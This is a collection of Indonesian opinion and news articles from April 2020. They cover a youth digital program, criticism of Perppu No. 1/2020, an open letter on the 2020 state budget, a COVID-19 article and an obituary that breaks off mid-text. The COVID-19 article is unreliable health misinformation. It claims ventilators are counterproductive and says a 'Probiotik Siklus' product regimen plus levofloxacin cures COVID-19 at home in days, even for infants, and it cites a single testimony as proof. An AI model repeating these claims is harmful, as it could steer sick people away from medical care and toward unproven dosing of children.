pelatihan bisnis secara digital melalui Program Digital Enterprenur Millenials Kemenpora yang akan dilaksanakan dalam waktu dekat. Program ini sesuai dengan objektifitas lapangan dimana aktifiitas ekonomi dan perdangan elektronik (e-commerce) cenderung paling bisa bertahan dibandingkan sektor ekonomi konvensional yang terhenti dan lumpuh akibat pemberlakuan PSSB. Hal ini juga linear dengan Data BPS 2019 yang melihat fakta bahwa Pemuda Indonesia mayoritas sudah melek teknologi: Terdapat 88,66 persen pemuda yang memiliki HP dan 93,78 persen pemuda menggunakan HP selama tiga bulan terakhir. Selain itu, terdapat pula sekitar 26,27 persen pemuda yang menggunakan komputer dan 81,22 persen pemuda menggunakan internet selama tiga bulan terakhir. Penting untuk merancang metode khusus penyampaian program kepemudaan melalui pengajaran dan pembelajaran baru dengan penggunaan teknologi modern akan memainkan peran penting dalam mengembangkan dan memberdayakan kaum muda Indonesia yang terkena dampak pandemi Corona. Kemenpora sebagai Kementerian Investasi Masa Depan, ditargetkan pada inovasi dan kreasi pengembangan kualitas generasi muda. Terakhir, mengutip Daisaku Ikeda, seorang Tokoh Nasional Negara Jepang, “History has always been shaped by the power of youth.”, bahwa sejarah besarnya Negara Republik Indonesia di masa depan, ditentukan oleh pemudanya saat ini. Penulis adalah Tenaga Ahli Menteri Pemuda dan Olahraga Republik Indonesia

Perppu No. 1/2020 Hanya Copy Paste Dari Perppu No. 4/2008

By Anthony Budiawan Jakarta FNN – Rabu (22/04). Menjelang akhir tahun 2007, krisis finansial global pecah. Krisis ini membawa ekonomi dunia masuk resesi. Pertumbuhan ekonomi dunia 2008 negatif 1,85 persen. Kondisi ini membuat pemerintah Indonesia, dalam hal ini Presiden, menerbitkan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) pada 15 Oktober 2008. Perppu adalah undang-undang (UU) yang diterbitkan secara sepihak oleh Presiden. Perpu bisa saja diterbitakan oleh Presiden tanpa melibatkan dan persetujuan DPR. Sedangkan pembentukan UU garus disetujui kedua belah pihak. Pemerintah dan DPR. Penerbitan Perppu adalah hak subyektif Presiden ketika Presiden merasa adanya ancaman yang membahayakan. Istilah di UU, kegentingan yang memaksa. Sehubungan dengan krisis finansial global, Presiden ketika itu merasa ada kegentingan yang memaksa sehingga menerbitkan tiga Perppu sekaligus. Pertama, Perppu No 2 tahun 2008 tentang Bank Indonesia yang ditetapkan 13 Oktober 2008. Kedua, Perppu No 3 tahun 2008 tentang Lembaga Penjamin Simpanan yang ditetapkan 13 Oktober. Dan Perppu No 4 tahun 2008 (Perppu No 4/2008) tentang Jaring Pengaman Sistem Keuangan. Perppu diterbitkan karena negara butuh UU yang harus diberlakukan seketika. Ada kegentingan yang memaksa secara mendadak. Sedangkan UU untuk itu belum ada, atau ada tetapi tidak cukup memadai. Karena itu Perppu diterbitkan secra sepihak oleh Presiden. Namun Perppu harus mendapat persetujuan DPR pada masa persidangan berikutnya. DPR bisa menerima atau menolak Perppu tersebut. Sehubungan dengan terbiatnya Perppu No 4/2008, DPR menolak mengesahkan Perppu itu menjadi UU. Penolakan umumnya terkait Pasal 29 yang memberi kekebalan hukum kepada para pejabat serta semua pihak pelaksana Perppu. Mereka para pejabatnya tidak boleh dihukum secara pidana maupun perdata. Rancangan Perppu No.4/2008 itu yang mau diulangi lagi sekarang di Perppu No.1/2020. Pasal 29 Perppu No.4/2008 itu berbunyi “Menteri Keuangan, Gubernur Bank Indonesia, dan/atau pihak yang melaksanakan tugas sesuai Peraturan Pemerintah Pengganti Undang-Undang ini tidak dapat dihukum karena telah mengambil keputusan atau kebijakan yang sejalan dengan tugas dan wewenangnya sebagaimana dimaksud dalam Peraturan Pemerintah Pengganti Undang-Undang ini”. Perppu No 4/2008 juga dianggap memberi wewenang di sangat luar batas kepada Komite Stabilitas Sistem Keuangan (KSSK) dalam menetapkan status bank bermasalah dan penanganannya. KSSK hanya terdiri dari Menteri Keuangan sebagai ketua dan Gubernur BI sebagai anggota. Selain itu, kekuasaan yang sangat mutlak ada pada Menteri Keuangan. Karena kalau terjadi selisih pendapat antara Menteri Keuangan sebagai ketua KSSK dengan anggota KSSK yang lain, maka Menteri Keuangan dapat menetapkan keputusan sendiri. Perppu No 4/2008 juga dianggap memberi wewenang absolut kepada KSSK untuk menghilangkan fungsi dan wewenang DPR terkait keuangan negara. Karena Menteri Keuangan dapat mengeluarkan uang negara atas nama krisis tanpa minta persetujuan DPR. Padahal kewenangan DPR itu telah diatur dalam Undang-Undang Dasar 1945. Sekarang terbukti keputusan DPR ketika itu ternyata tepat. Dana pinjaman likuiditas yang diberikan kepada Bank Century ternyata bermasalah. Merugikan keuangan negara. Karena Perppu No 4/2008 tidak disahkan, maka tidak ada pihak yang kebal hukum. Beberapa pihak yang terlibat merugikan keuangan negara diproses secara hukum. Pengadilan menyatakan mereka bersalah, baik dari Bank Century maupun Bank Indonesia. Pemerintah belum lama menerbitkan Perppu No 1 tahun 2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Corona Virus Disease 2019 (Covid-19). Cakupan Perppu No 1/2020 ini jauh lebih luas dan lebih “radikal” dari Perppu No 4/2008. Perppu No 1/2020 selain mengatur Stabilitas (atau Jaring Pengaman) Sistem Keuangan juga mengatur kebijakan Keuangan Negara dalam menghadapi ancaman yang membahayakan perekonomian nasional. Perppu No 1/2020 dianggap lebih “radikal” karena pemerintah dapat menentukan APBN secara sepihak tanpa perlu mendapat persetujuan DPR. Defisit anggaran yang awalnya maksimal 3% dari PDB menjadi tidak terbatas, dan berlaku selama tiga tahun. Selain itu, semua pasal yang menjadi alasan DPR menolak Perppu No 4/2008 masih ada di dalam Perppu Pandemi Covid-19 ini. Pasal tentang kekebalan hukum yang banyak mendapat sorotan publik di Perppu No.4/2008, kini nongol lagi di Perppu No.1/2008. Ada tambahan wewenang absolut pemerintah di bidang anggaran yang tidak memerlukan persetujuan DPR. Waktunya bukan saja untuk tahun 2020, tetapi selama tiga tahun. Selain itu, tentang wewenang dan kekuasaan Bank Indonesia dan pemerintah yang sangat besar dalam menentukan dan memberikan pinjaman likuiditas maupun penyertaan modal kepada semua bank yang dianggap kesulitan likuiditas. Begitu juga dengan bantuan kepada perusahaan yang mengalami kesulitan keuangan. Semua itu dapat dilakukan tanpa persetujuan DPR. Sangat hebat kan Perppu No.1/2020 ini? Secara logika, seharusnya fraksi DPR yang dulu menolak Perppu No 4/2008 diperkirakan juga akan menolak Perppu Pandemi Covid-19 ini. Kalau tidak, masyarakat bisa menilai fraksi-fraksi ini sebagai petualang politik yang hanya membela kepentingan sesaat. Karena alasan untuk penolakan di Perppu No 4/2008 masih sangat valid dan berlaku untuk Perppu No 1/2020 ini. Sedangkan fraksi yang dulu menerima Perppu No 4/2008 untuk disahkan jadi UU, yaitu fraksi Demokrat dan Fraksi PKS, diperkirakan juga akan menolak Perppu Pandemi Covid-19 ini. Alasannya sederhana, yaitu taat hukum dan konsisten dengan keputusan yang lalu. Dengan perhitungan seperti ini, Perppu Pandemi covid-19 menghadapi tantangan untuk ditolak oleh semua fraksi. Dalam bidang hukum ,dikenal yang namanya “yuris prudensi”. Yaitu keputusan hukum pada periode lalu dapat dijadikan acuan untuk memutus perkara yang sama pada periode sekarang. Apakah dalam politik juga akan ada semacam “politik prudensi”? Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

APBN Ringkih Dimasa Krisis Pandemi

Surat Terbuka Kepada Pemerintah, DPR dan BPK By Andi Rahmat Jakarta FNN- Rabu (22/04). Saya membaca keterangan Dirjen Anggaran Kementerian Keuangan soal materi yang diatur oleh Perpres No 20/2020 Tentang Perubahan Postur dan Rincian APBN 2020. Terus terang, saya mengernyitkan dahi. Terutama karena judulnya cukup menimbulkan tanya. Sebagai mantan anggota Badan Anggaran DPR RI dan Mantan Pimpinan Komisi XI DPR RI, istilah postur dan rincian APBN sudah barang tentu menjadi menu sehari- hari saya selama kurang lebih 10 tahun mengabdi di Senayan. Postur dan Rincian APBN adalah APBN itu sendiri. Dalam hal rincian, selain “satuan tiga” (ini istilah untuk alokasi anggaran yang memuat kegiatan/ jenis belanja pemerintah), semuanya adalah bagian yang melekat dalam pembahasan RUU APBN setiap tahun. Soal “satuan tiga” ini sudah dinyatakan bukan kewenangan DPR dalam pembahasan RUU APBN oleh Mahkamah Konstitusi dalam putusannya Nomor 35/PUU-XI/2013. Selain itu, semua hal yang berkaitan APBN tetap merupakan kewenangan DPR sebagai pemegang Hak Budget menurut UUD 1945. Postur adalah bangunan esensial APBN yang mencerminkan besaran Pendapatan/ Penerimaan Negara. Juga Belanja Negara dan Sumber Pembiayaan Negara. Postur adalah hasil kesepakatan eksekutif dan legislatif dalam pembahasan RUU APBN. Postur itulah yang kemudian diterjemahkan dalam bentuk pasal demi pasal di dalam UU APBN hasil pembahasan DPR dan Pemerintah. Ringkasnya, Postur yang telah diuraikan dalam bentuk pasal demi pasal itulah yang kita sebut sebagai UU APBN. Begitu aturanya mainnya. Tidak lebih. Karena itu pula, dan dalam rangka memenuhi hak konstitusionalnya, maka DPR membentuk Alat Kelengkapan yang bersifat permanen dalam membahas RUU APBN menjadi UU APBN setiap tahun. Alat kelengkapan ini berna ma “Badan Anggaran DPR”. Demikian juga dengan rincian anggaran. Rincian anggaran adalah penjabaran lanjut dari Postur APBN. Populernya sering disebut sebagai “Nomenklatura”. Yang intinya menjelaskan mengenai besaran porsi alokasi anggaran dari masing-masing institusi pengguna anggaran. Sekali lagi, mengenai jenis kegiatan/ belanja yang lazim disebut sebagai “satuan tiga” tidak termasuk dalam bagian yang dibahas di DPR. Memahami kegentingan yang dihadapi bangsa dan negara kita akibat pandemi Covid-19 ini adalah hal yang penting. Suatu tindakan berskala dan berimplikasi besar memang sepatutnya diambil Pemerintah. Dampak kesehatan dan ekonomi yang tengah kita hadapi ini belum pernah terjadi, bahkan setelah tahun 1965 sekalipun. Krisis 1998 bahkan tidak sebanding dengan apa yang kita hadapi saat ini. Dari kacamata perekonomian, skala persoalan yang dihadapi sekarang ini berpotensi memutus hubungan supply dan demand dalam perekonomian. Masalah yang paling mendasar dalam praktek perekonomian. Diperlukan konsentrasi kebijakan yang extraordinary untuk mempertahankan perekonomian dari kerusakan yang sulit dipulihkan. Itulah sebabnya mengapa tulisan ini berjudul “ APBN Ringkih di Tengah Krisis”. Sebab fundamen dasar dari semua tindakan yang diambil otoritas sudah seharusnya memiliki landasan yang kuat dan tidak mengundang polemik baru. Sumber keringkihannya adalah dasar dari semua tindakan Budgetary otoritas. Bisakah semua tindakan Budgetary pemerintah itu tidak bersumber dari UU APBN? Apakah bisa suatu peraturan dibawah UU seperti Perpres bisa menjadi dasar tindakan Budgetary pemerintah? Sejak kapan pelaksanaan Budgetary Republik Indonesia dilaksanakan berdasarkan Perpu? Sejak kapan Postur dan Rincian Anggaran selain “satuan tiga” bukan merupakan esensi UU APBN? Semua pertanyaan itu adalah sumber keringkihan penanganan krisis. Membiarkan pemerintah dalam “perangkap kebijakan” bukankah merupakan suatu kekeliruan yang fatal? Sejak awal saya mendorong agar Pemerintah mengajukan suatu RUU APBN Perubahan dengan menggunakan Perpu 1/ 2020 sebagai dasar pembahasannya dengan DPR. Yang terjadi adalah, perubahan postur dan rincian anggaran melalui perpres. Perpu itu sendiri diperlakukan sebagai UU APBN. Bukankah ini suatu hal yang sangat ringkih? Kehidupan bernegara yang sehat adalah kehidupan berkonstitusi. Kita memiliki konstitusi yang kuat dan bisa berfungsi secara normal. Bahkan dalam keadaan paling krisis sekalipun. Konstitusi adalah kekuatan ketahanan kita sebagai bangsa dan negara. Saya meyakini, dengan kepala dingin, problematika krisis yang kita hadapi ini bisa kita lewati di atas dasar konstitusi kita. Belum terlambat untuk merevisi apa yang kurang kuat dan ringkih. Krisis tidak akan menenggelamkan jiwa yang optimis dan sadar pada warisan bersejarah pendiri bangsa. Segera ajukanlah APBN saja Perubahan. Dengan modal dukungan kuat di DPR dan mandat kuat yang dimiliki pemerintah, Pembahasan APBN Perubahan tidak akan berlarut-larut. Bisa cepat selesai. Saya pernah di Senayan. Saya tahu, kalau perangkat pengalaman pemerintah dan pimpinan, serta anggota DPR bisa membahas APBN Perubahan ini dalam waktu yang singkat. Jangan biarkan tindakan extraordinary dan bersejarah bangsa kita ini, berpijak pada landasan yang ringkih. Kepada Allah SWT semuanya berpulang. Semoga bangsa kita segera bisa segera keluar dari krisis ini. Wallahu ‘alam Bishawab. Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI

Temuan Dokter Bedah di Wuhan “Serupa” dengan Fakta Pasien Corona di Jakarta

Formula tersebut bisa diaplikasikan dengan diminumkan pada ODP Dewasa, Anak, Bayi, dan Balita. Jika kurang yakin, bisa disemprotkan ke mulut, itu hanya untuk meyakinkan diri. Oleh Mochamad Toha Jakarta, FNN - Judul Detik.com, Senin (02 Mar 2020 17:23 WIB), Temuan Dokter Bedah yang Mengautopsi Jenazah Pasien Virus Corona, menulis bahwa seorang profesor kedokteran hukum di Tongji Medical College di Wuhan, Liu Liang, mengungkapkan beberapa temuan. Yakni, beberapa temuan selama membedah pasien terinfeksi Virus Corona. Prof. Liu Liang telah memimpin operasi bedah terhadap sembilan (9) jenazah pasien dari 12 yang dioperasi ilmuwan China. Profesor Liu Liang membedah dengan hati-hati tubuh pasien corona yang baru meninggal. Tanpa itu kita tidak akan pernah tahu kebenaran yang mengejutkan. Dalam “Laporan Pengamatan Umum Anatomi Korban Meninggal karena Pneumoonia virus Corona” yang diterbitkan dalam Journal of Forensic Medicine ini ditulis, ada cairan kental abu-abu di paru-paru jasad, lendir putih berbusa di rongga trakea dan bronkial paru-paru. Lendir yang seperti jeli itu melekat kuat. Cairan kental inilah yang menghalangi alveoli, memblokir saluran udara, memblokir paru-paru interstitial, memblokir tabung bronkial, secara bertahap membiarkan paru-paru kehilangan fungsi ventilasi; Membuat pasien dalam keadaan hipoksia, dan akhirnya mati karena gagal bernafas. Cairan kental ini merenggut nyawa pasien Corona dan membuat mereka menderita pada saat-saat terakhir kehidupan mereka. Ketakutan mereka mencapai ekstrem. Mereka berjuang seperti tenggelam di dalam sumur, berteriak “tolong”. Mereka dipenuhi dengan keputus-asaan dan rasa sakit. Mereka terengah-engah, bahkan jika mereka memakai masker oksigen dan ventilator, mereka juga tidak bisa menghirup oksigen. Mengapa mereka tidak bisa menghirup oksigen dengan dukungan ventilator? Karena cairan kental itu menghalangi jalur oksigen. Jalannya tidak bisa dilewati. Sejumlah besar oksigen dihirup, tapi penyumbatannya tambah meningkat. Oksigen tidak dapat disalurkan ke dalam darah, dan akhirnya mereka tercekik oleh cairan kental ini. Oleh karena itu, Profesor Liu Liang menunjukkan bahwa penggunaan alat ventilator oksigen secara buta tidak hanya gagal untuk mencapai tujuan tetapi bahkan mungkin menjadi kontra-produktif. Tekanan oksigen akan mendorong lendir lebih dalam ke ujung paru-paru, sehingga semakin memperparah keadaan hipoksia pasien. Dengan kata lain bahwa pengobatan Barat hanya melihat hipoksia pasien, tapi tidak melihat penyebab di balik hipoksia pasien. Cairan kental ini disebut dahak, harus ditangani sebelum memberikan oksigen, jika tidak, berapapun banyaknya oksigen disalurkan juga akan sia-sia. Kita hanya perlu membuka saluran udara ini dengan menghilangkan dahak, menghilangkan kelembaban, membiarkan alveoli mengering, dan membiarkan bronkus halus lancar dan tidak terhalang, dengan demikian tidak diperlukan ventilator oksigen sama sekali; Pasien akan pulihkan fungsi paru-paru sendiri, dan dia akan menghirup oksigen dari udara. Mengutip Dr. Aji Soso Santoso, Adventist Medical Center Manila, yang sudah membaca berita mengenai penelitian Prof Liu Liang seperti komen yang disampaikan Prof Hendrajit. Temuan ini diperkuat oleh Dr. Luciano Gattinoni dari Universitas Kedokteran di Gottingen, Jerman, dalam laporannya mengenai penanganan pasien corona yang menderita gagal nafas di Italia Utara di American Journal of Respiratory and Critical Care Medicine, Maret lalu. “Dr. Gattinoti menganjurkan untuk meninjau pendekatan yang berbeda untuk pasien corona yang kritis. Kemudian Dr. Nathalie Stevenson dan Prof. Gary Mills dari NHF Foundation, Inggris memberikan pandangannya,” tulis Dokter Aji Soso Santoso. Bahwa corona merupakan penyakit baru dan membutuhkan penanganan yang berbeda dari gagal nafas biasa. Hal ini dicatat dalam interview oleh Medscape UK. Menurutnya, untuk mencairkan dahak atau mucus dari paru-paru, pasien harus diberi minum obat mukolitik atau pencair dahak seperti ambroxol, mucohexin, erdosteine atau n-acetyl cysteine (yang terkuat). Bila tidak bisa minum, harus dialirkan lewat selang. “Tanpa bantuan mukolitik, dahak kental yang memenuhi bronkus tidak akan bisa keluar. Dengan bantuan obat di atas, dahak akan menjadi encer dan dapat dikeluarkan lewat batuk atau suction pump low pressure,” ungkap Dokter Aji Soso Santoso. Lalu bagaimana kalaupun sudah diberikan mukolitik dan sudah dilakukan suction tapi dahak tetap tidak mau keluar? Menurut Prof. Hendrajit, dalam kasus seperti ini Bronchoscopy bisa menjadi pilihan. Mengutip Direktur Global Future Institute tersebut, baru-baru ini juga dikabarkan bahwa penggunaan Ventilator pada pasien Covid-19 ternyata banyak menimbulkan efek negatif tidak seperti yang diharapkan. Kembali ke temuan Prof Liu Liang di Wuhan tersebut. Sebenarnya, hasil otopsi di Tongji Medical College di Wuhan itu juga ditemukan pada seorang pasien Covid-19 di Indonesia. Ini dilihat dari rontgen, paru-parunya tenggelam oleh bercak-bercak putih. Ia seorang Engineer, karyawan perusahaan swasta, domisili di Jakarta. Terpapar Covid-19, dan hasil lab-nya: positif. Hasil rontgennya, paru-parunya tenggelam oleh bercak-bercak putih, hampir 90%. Disertai gejala: demam/panas, batuk, nafas sesak, pusing. “Sudah dapat obat dari dokter dari sebuah RS. Karena tidak ada perubahan, akhirnya diberikan G8: 3x1 sdm, selama 2 hari, Bio imune: 3x1 sdm. Setelah 2 hari, berkurang. Pada hari ke 3, diberikan G12 + 14 @ pagi - siang. Sorenya G8: 1 sdm.” Temuan tersebut sudah saya tulis dengan judul: “Testimoni (6): Terpapar Covid-19, Sembuh Dengan Minum Probiotik Siklus” di Pepnews.com. “Setelah diminum selama 2 hari, gejala2 berkurang drastis, sudah tidak batuk, tidak sesak, tidak demam, sehat..., sembuh total.” “Anaknya 2 orang juga terkena, diberikan formula yg sama, sudah berkurang drastis, makin sehat, tidur nyenyak. Pasien dirawat sendiri di rumah. Rontgen pasca sakit, belum dilakukan, trauma gak berani keluar rumah dahulu.” Anda bisa membacanya di https://pepnews.com/politik/p-015846324074453/testimoni-6-terpapar-covid-19-sembuh-dengan-minum-probiotik-siklus. Dalam tulisan itu saya uraikan bahwa pasien positif Covid-19 bisa sembuh dengan formula Probiotik Siklus. Biaya Mahal Apakah Anda tahu bahwa besaran biaya untuk membeli beberapa varian produk Probiotik Siklus (PS) itu cuma kisaran Rp 350 – 500 ribu? Coba bandingkan dengan biaya Top Up per hari sesuai ketentuan Menteri Keuangan RI. Untuk Kriteria ODP/PDP/Konfirmasi Tanpa Komorbid/Komplikasi: ICU tanpa ventilator Rp 12 juta, Isolasi tekanan negatif tanpa ventilator Rp 7,5 juta, Isolasi non tekanan negatif tanpa ventilator Rp 7,5 juta. Untuk Kriteria ODP/PDP/Konfirmasi Dengan Komorbid/Komplikasi: ICU tanpa ventilator 12,5 juta, Isolasi tekanan negatif tanpa ventilator Rp 9,5 juta, Isolasi non tekanan negatif tanpa ventilator Rp 9,5 juta. Semua itu biaya untuk kriteria tanpa ventilator. Jika dengan ventilator, pasien harus merogoh koceknya lagi sebesar Rp 3-4 juta. Itu jika pasien dalam keadaan selamat alias sembuh. Tapi jika meninggal, pasien harus mengeluarkan dana lagi untuk pemulasaraan jenazah yang itemnya terdiri dari 7 point dengan nilai mulai Rp 100 ribu hingga Rp 1,750 juta. Silakan bandingkan jika pasien positif virus Corona diterapi dengan aplikasi Probiotik Siklus yang cuma kisaran 2-3 varian saja, seperti G8/G10/G12 /G17, Bioimune, Biosel/ Biozime Super/Biozime Biasa, plus Obat antibiotika (Levafloxacin 500 mg). Formula tersebut bisa diaplikasikan dengan diminumkan pada ODP Dewasa, Anak, Bayi, dan Balita. Jika kurang yakin, bisa disemprotkan ke mulut, itu hanya untuk meyakinkan diri kita punya sesuatu dan kita yakin. Semestinya diminum saja cukup. Lama perawatan (di rumah saja) bergantung dari tingkatan atau stadium penyakitnya. Kalau ringan, biasanya hanya sekitar 2 hari bisa sembuh. Tetapi, kalau berat, kisaran 4-6 hari saja. Dan, varian formula ini biasanya cukup untuk satu minggu. Murah bukan? Apalagi, tanpa harus dirawat di rumah sakit, namun harus tetap dalam kontrol dokter dan paramedis lainnya. Namanya juga perawatan mandiri, sehingga pasien tidak harus mengeluarkan biaya tambahan seperti kamar RS. Silakan hitung dan bandingkan sendiri jika harus dirawat di RS. Apakah semua pengeluaran untuk biaya RS tersebut ditanggung Pemerintah? Rasanya tidak juga, meski Presiden Joko Widodo sudah menganggarkan dana Rp 185 triliun untuk kesehatan. Seperti diketahui, Presiden telah mengeluarkan PP berupa tambahan belanja dan pembiayaan APBN 2020 sebesar Rp 405,1 triliun untuk penanganan dampak Covid-19, ada empat poin yang diajukan pemerintah. Salah satunya anggaran untuk Kesehatan. Silakan hitung dan bandingkan sendiri jika harus dirawat di RS. Apakah semua pengeluaran untuk biaya RS tersebut ditanggung Pemerintah? Rasanya tidak juga, meski Presiden Joko Widodo sudah menganggarkan dana Rp 185 triliun untuk kesehatan. *** Penulis Wartawan Senior.

Obituari Mohammad Nadjikh : Tidak Pernah Lupa Pesan Ibunya

Oleh: Tjahja Gunawan Diredja (Penulis Buku Autobiografi) Jakarta, FNN - Ketika ajal kematian sudah menjemput, tidak seorangpun bisa mencegah. Kematian, rezeki, dan jodoh manusia , merupakan rahasia dan hak prerogatif Allah SWT. Demikian pula ketika Allah melalui Malaikat Izroil menjemput Pak Nadjikh pada hari Jumat (17/4), tugas beliau di dunia sudah berakhir. Selanjutnya generasi kedua yakni anak-anak serta keluarga besar Pa Nadjikh dituntut untuk bisa meneruskan tugas kehidupan selanjutnya terutama melanjutkan keberlangsungan usaha Kelola Grup, perusahaan yang didirikan dan dikembangkan Pa Nadjikh dalam waktu 25 tahun terahir ini. Antusiasme dan ide-ide Pa Nadjikh dalam menjalankan aktivitas sosial kemasyarakatan baik di Organisasi Muhammadiyah maupun di Institut Pertanian Bogor (IPB) serta kegiatan kemanusiaan lainnya diapresiasi banyak kalangan. Sosok Pa Nadjikh merupakan teladan baik yang perlu dicontoh. Tidak hanya keluarga besar dan para karyawan serta mitra usaha Kelola Group yang merasa kehilangan atas meninggalnya Mohammad Nadjikh, tetapi banyak elemen masyarakat lainnya yang juga merasakan hal yang sama. Banyak pihak yang telah bersaksi tentang kontribusi dan besarnya peran Pa Nadjikh dalam mengembangkan Muhammadiyah di bidang ekonomi terutama dalam Jaringan Saudagar Muhammadiyah (JSM). Demikian juga di lingkungan IPB, kampus tempat Pa Najikh menuntut ilmu hingga menjadi mahasiswa berprestasi, almarhum telah memberikan kontribusi besar terutama dalam menumbuhkan jiwa entreprenership di kalangan mahasiswa. Bahkan ketika penulis sedang menggarap Penulisan Buku “Mohammad Nadjikh Sang Teri Menggurita” tahun 2019 lalu, Pa Nadjikh tidak segan-segan mengajak diskusi sekaligus memberi motivasi kepada para mahasiswa IPB yang baru lulus. Pada waktu itu, Pa Nadjikh sempat mengudang para mahasiswa IPB untuk makan di salah satu restoran di Mall Kemang Village Jakarta. Pa Nadjikh terlihat antusias ingin menjamu para mahasiswa dengan makanan yang enak-enak. Hal itu dilakukan karena dulu dia sangat merasakan betapa pahitnya menjadi mahasiswa IPB. Selama menjadi mahasiswa, orangtuanya hanya mampu membiayai Mohammad Nadjikh (MN) selama setahun . Setelah menjual berbagai harta kekayaan yang ada di kampung, Bapak Moenardjo dan Ibu Asnah, orangtua Pa Nadjikh angkat tangan menyerah tidak mampu lagi membiayai sekolah anak-anaknya. Selanjutnya MN mencari uang sendiri untuk keperluan kuliah dan biaya hidupnya selama menjadi mahasiswa IPB yang diselesaikannya dalam waktu 3,5 tahun. Dalam kesempatan ini, rasanya saya perlu berbagi cerita singkat tentang bagaimana sampai bisa mengerjakan buku biografi MN. Suatu waktu pada bulan September 2018, saya tiba-tiba ditelpon MN. "Pa Tjahja, apa kabar? Masih ingat saya?," tanya Pa Nadjikh di ujung telepon. "Alhamdulillah sehat. Kalau dari suaranya sih, ini pasti konglomerat dari Gresik. Tumben telepon. Ada apa nih pa ?," jawab saya to the point. Sebenarnya saya sudah kenal MN sejak tahun 1990-an. Bahkan sejak itu, saya sudah dua kali berkunjung ke pabriknya di Kawasan Industri Gresik. Tapi kedatangan saya ke PT Kelola Mina Laut (KML), bukan undangan dari Pa Nadjikh, tapi saya diajak dua orang pengusaha yang berbeda. Kedua pengusaha tersebut yang membawa saya mengunjungi pabril PT KML. Keduanya memiliki impresi yang kuat tentang Pa Nadjikh, seorang pengusaha daerah yang ulet dan tangguh. Bahkkan hampir sebagian produknya berupa ikan hasil olahan diekspor ke mancanegara. Pada kesempatan pertama, saya diajak seorang dokter internist tapi ahli finance yakni almarhum Bapak Tjptono Darmadji. Kemudian kesempatan berikutnya, saya diajak Pak Chairul Tanjung, ketika saya sedang mengerjakan buku biografi "Chairul Tanjung, Si Anak Singkong", sekitar tahun 2011. Dalam percakapan di telepon, MN meminta saya untuk menuliskan buku perjalanan perusahaanya PT KML yang kemudian berubah menjadi Kelola Grup pada ulang tahun ke 25 perusahaan tersebut di bulan September 2019 lalu. Kemudian saya katakan kepada Pa Nadjikh, "Kalau hanya menulis perjalanan perusahaan kurang menarik. Akan lebih menarik kalau saya menulis perjalanan hidup Pa Nadjikh sejak dari kecil sampai sekarang. Mulai dari nol hingga mampu mendirikan dan mengembangkan perusahaan selama 25 tahun". Singkat cerita, akhirnya beliau setuju dan saya pun ngebut mulai wawancara sana-sini. Tidak hanya ngobrol dengan sejumlah karyawan dan direksi perusahaan, tetapi saya juga pergi ke tempat kelahiran Pa Nadjikh di Desa Karangrejo, Kecamatan Manyar, Kabupaten Gresik, Jawa Timur. Bukan hanya menemui keluarga dan kerabat Pa Nadjikh, tetapi saya juga sengaja mendatangi Pondok Pesantren Maskumambang, di Desa Sembungan Kidul, Kecamatan Dukun, Kabupaten Gresik. Orangtuanya memang menginginkan anak sulung dari tujuh bersaudara ini bisa menguasai ilmu agama sejak kecil karena orangtua Pak Nadjikh dikenal sebagai pedagang ikan yang juga aktif di organisasi Muhammadiyah. Rumah pasangan Pak Moenardjo dan Ibu Asnah (keduanya sudah almarhum), sering digunakan untuk berbagai kegiatan Muhammadiyah di Desa Karangrejo. Orangtuanya sangat terkagum-kagum dengan sosok dan keteladanan KH Nadjih Ahjad, generasi terdahulu Ponpes Maskumambang. Oleh karena itu, orangtuanya menanamakan anak sulungnya Mohammad Nadjikh. Dalam berbagai obrolan saya dengan Pa Nadjikh, selalu dia berkaca-kaca bahkan meneteskan air mata ketika menyinggung pengorbanan orangtuanya. Demikian juga adik-adiknya Pa Nadjikh, mereka selalu merasa terharu dengan perjalanan hidup kedua orangtuanya. Ayahnya Pa Nadjikh dikenal sebagai pedagang ikan tetapi ketika usahanya bangkrut, Ibu Asnah terpaksa berjualan bubur. Ini dilakukan agar selain untuk dijual untuk umum sekaligus juga untuk sarapan pagi anak-anaknya yang masih kecil. Pada masa-masa sulit ketika orangtua sudah tidak mampu lagi membiayai sekolah anak-anaknya, tanggungjawab terpaksa diambil alih Mohammad Nadjikh sebagai anak tertua. Sementara waktu itu, Nadjikh masih kuliah di IPB. Dia harus membiayai kuliah dan biaya hidup di Bogor, pada saat yang sama Pa Nadjikh juga harus bisa mengirim uang untuk orangtua dan adik-adiknya di kampung. Bagaimana dia mencari uang selama masa sulit di IPB diceritakan lengkap dalam Buku “Mohammad Nadjikh, Sang Teri Menggurita”, yang rencananya akan dicetak PT Gramedia Pustaka Utama (GPU). Menjadi pengusaha sukses seperti Mohammad Nadjikh atau Chairul Tanjung, bukan semata karena cita-cita mereka tetapi lebih karena kondisi lingkungan yang memaksanya menjadi pengusaha. Sekarang Pa CT sudah menjadi konglomerat, demikian juga Pa Nadjikh merupakan salah satu pengusaha dari daerah yang juga sudah sukses. Keduanya bukan termasuk anak orang kaya atau anak pejabat pemerintah. Orangtua kedua pengusaha ini termasuk orang sederhana. Namun dalam pengamatan saya secara langsung terhadap sosok Pa CT maupun Pa Nadjikh, keduanya bisa meraih sukses karena mereka telah memperlakukan orangtuanya terutama ibunya bagaikan Raja. Adab mereka ini perlu dicontoh oleh siapapun terutama generasi muda. Saya sebagai penulispun suka ikut merinding manakala mendengarkan, melihat langsung kemudian menuangkan dalam tulisan tentang keteladanan dan sikap mereka terhadap orangtuanya masing-masing. Mereka sangat paham betul ungkapan dalam hadist Nabi yang berbunyi: “Ridha Allah tergantung pada ridha orangtua dan murka Allah tergantung pada murka orangtua”. Engkau akan menjadi Raja kalau engkau juga memperlakukan orangtua sebagai Raja. Sebelum saya menulis buku biografinya, Pa Nadjikh selalu menakankan kepada saya bahwa dirinya sama sekali tidak bermaksud untuk pamer atau ingin diacungi jempol melalui bukunya itu. “Saya hanya ingin orang lain melihat saya apa adanya dan buku biografi tentang saya ini sengaja dibuat agar orang lain mengetahui apa yang saya lakukan dalam merintis dan mengembangkan perusahaan selama 25 tahun ini. Semoga nilai-nilai positif yang ada dalam dalam buku ini bisa dijadikan bahan pembelajaran bagi masyarakat luas,” kata Pa Nadjikh. Dengan begitu, diharapkan bisa menjadi sarana pembelajaran bagi siapa pun terutama mereka yang ingin terjun ke dunia swasta, berwirausaha menjadi pengusaha maupun mereka yang ingin merintis pekerjaaan dan karier di lingkungan perusahaan swasta. “Buku ini diharapkan bisa memberikan inspirasi dan motivasi bagi siapa 